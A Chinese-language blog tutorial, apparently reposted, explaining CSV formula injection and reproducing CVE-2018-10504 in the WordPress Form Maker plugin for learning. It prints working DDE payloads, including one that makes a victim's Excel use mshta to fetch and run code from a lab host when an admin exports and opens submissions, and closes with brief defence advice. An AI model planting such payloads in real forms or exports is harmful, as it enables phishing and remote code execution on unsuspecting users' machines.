淺談CSV注入漏洞


背景

某天在逛expdb時候看到了CSV Injection的exp,在滲透測試的過程中也偶爾會遇到類似的情況,這一漏洞很早之前就出現過,但是很多人沒有意識到漏洞的危害性,於是抱着學習的心態進行了一波漏洞復現和學習。

Clipboard Image.png

漏洞介紹

CSV公式注入(CSV Injection)是一種會造成巨大影響的攻擊向量。攻擊包含向惡意的EXCEL公式中注入可以輸出或以CSV文件讀取的參數。當在Excel中打開CSV文件時,文件會從CSV描述轉變為原始的Excel格式,包括Excel提供的所有動態功能。在這個過程中,CSV中的所有Excel公式都會執行。當該函數有合法意圖時,很易被濫用並允許惡意代碼執行。

漏洞原理

人們通常認為CSV或xls文件中包含的文本不會有任何安全風險,這是比較大的一個誤區。首先我們創建一個Excel文件,將其中一格內容修改為=36+1

Clipboard Image.png

保存之后看到如下結果,公式正常計算:

Clipboard Image.png

雖然單元格的內容在引號內,但由於第一個字符是=,它以一個表達式的形式被處理,實際上包括 = - + @這樣的符號都會觸發這種行為,正常來說,如果數據量比較大的情況下,管理員一般不會花那么多時間去一個個檢查輸入內容是否正常。(emmm正常人可能都不會這么干)

由於表達式就是可以執行的代碼,所以假如我們把輸入內容修改為:

=1+cmd|' /C calc'!A0

之后點擊保存,然后再次打開,會看到如下提示:

Clipboard Image.png

點擊 是 之后,彈出計算器:

Clipboard Image.png

漏洞危害

這類漏洞通常不會針對於專業的網絡安全人員,畢竟是個搞安全的都知道cmd不要隨便啟用,但是對於大部分人來說,尤其是正常的企業員工,往往會忽視問題的嚴重性,可能隨手就點了個是,因此這類漏洞一種利用方式可以用於釣魚,另一種也和釣魚類似,需要網站后台存在導出excel功能,攻擊者通過污染數據,當管理員或者其他用戶需要用到導出excel功能時,被污染的數據被一起導出,當打開該文件時並且忽略告警提示點了是,一起完美的攻擊就完成了。

漏洞復現

漏洞復現采用了CVE-2018-10504,也就是wordpress的Form Maker 插件的csv注入漏洞。PoC可參考:

https://www.exploit-db.com/exploits/44559

首先下載安裝該插件:

Clipboard Image.png

安裝后在功能欄就能看到:

Clipboard Image.png

我們這邊用有兩個用戶admin和sunshine:

Clipboard Image.png

登錄sunshine用戶,使用Form Maker提交如下信息:

+1+cmd|'/c mshta.exehttp://192.168.233.102:8080/a'!A0

Clipboard Image.png后台可以看到數據已經被污染了:

Clipboard Image.pngadmin用戶登錄,打開Form Maker –Submissions – Contact US – Export to CSV

Clipboard Image.png

打開會有這樣的安全提示:

Clipboard Image.png默認啟用和點擊是之后就能看到機器上線了:

Clipboard Image.png

漏洞防護

對於網站來說,比較合理的防御方式是對輸入輸出特殊字符進行編碼;對於平時常規文件的傳遞中,只能盡量為員工做好相關的安全意識培訓來做相關的防范。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM